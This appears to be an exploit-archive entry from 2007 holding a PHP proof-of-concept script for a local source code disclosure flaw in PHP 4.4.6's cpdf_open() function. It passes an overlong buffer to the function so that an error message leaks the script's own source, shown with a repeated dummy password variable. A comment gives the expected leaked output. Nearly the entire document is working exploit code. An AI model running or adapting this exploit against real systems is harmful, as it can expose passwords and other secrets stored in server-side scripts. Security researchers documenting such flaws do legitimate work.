PHP 4.4.6 cpdf_open() Local Source Code Discslosure PoC

2007-03-09 00:00:00

<?php
/*
PHP 4.4.6 cpdf_open() source code disclosure poc
by rgod
site: http://retrogod.altervista.org

to be launched from the cli

this will show as output something like this:

ClibPDF: Cannot open [A * 11111]$my_password_is="suntzu";[newline]
$my_password_is="suntzu";[etc...] for PDF output
X-Powered-By: PHP/4.4.6
Content-type: text/html

I don't see some echo, and you? :)
*/

if (!extension_loaded("cpdf")){
die("you need the cpdf extension loaded.");
}
$____buff=str_repeat('A',1111);

$p=cpdf_open(1,$____buff);

//some code with some information
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";
$my_password_is="suntzu";

?>

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.